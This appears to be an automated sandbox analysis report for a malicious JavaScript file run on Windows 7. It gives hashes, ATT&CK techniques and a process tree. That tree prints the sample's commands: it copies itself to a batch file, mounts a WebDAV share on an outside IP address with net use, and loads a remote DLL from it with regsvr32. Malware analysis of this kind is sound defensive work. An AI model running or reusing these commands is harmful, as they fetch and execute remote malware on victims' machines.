62fc948da0711a87f65ef112d0b33ddb9ff31b48cd295afd52670e681c2aa544

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:40

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General

Target

2727240823238218669.js
Size

5KB
MD5

f95dec38745edcbb9c3d22555d77c94a
SHA1

0934c767e1907110c81aa0fac8d809a967d4f4e7
SHA256

6547ae56e683d062433e3083d802a4504fb9e592894a6e2d75e4e4947a4efdd8
SHA512

eb825306f2b43feb22cd19f6f19bf4f306d705ac71870e2369173e607f64563f9573f16de756e817587e97092948982364f9cfcf3046fc0891ad49141281cabd
SSDEEP

96:xb/BBwzXIxcccQgZXIxcccRl9OYlvN7SKWN1Ft2B3+us2Eeep2B1ikV:pjwZP9vWl8B33xEPAB1ikV

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2620	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 2688	2420	wscript.exe	31
PID 2420 wrote to memory of 2688	2420	wscript.exe	31
PID 2420 wrote to memory of 2688	2420	wscript.exe	31
PID 2688 wrote to memory of 2720	2688	cmd.exe	33
PID 2688 wrote to memory of 2720	2688	cmd.exe	33
PID 2688 wrote to memory of 2720	2688	cmd.exe	33
PID 2688 wrote to memory of 2620	2688	cmd.exe	34
PID 2688 wrote to memory of 2620	2688	cmd.exe	34
PID 2688 wrote to memory of 2620	2688	cmd.exe	34
PID 2688 wrote to memory of 2620	2688	cmd.exe	34
PID 2688 wrote to memory of 2620	2688	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2727240823238218669.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2727240823238218669.js" "C:\Users\Admin\\flaldb.bat" && "C:\Users\Admin\\flaldb.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2720
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\303.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\flaldb.bat

Filesize
5KB

MD5
f95dec38745edcbb9c3d22555d77c94a

SHA1
0934c767e1907110c81aa0fac8d809a967d4f4e7

SHA256
6547ae56e683d062433e3083d802a4504fb9e592894a6e2d75e4e4947a4efdd8

SHA512
eb825306f2b43feb22cd19f6f19bf4f306d705ac71870e2369173e607f64563f9573f16de756e817587e97092948982364f9cfcf3046fc0891ad49141281cabd

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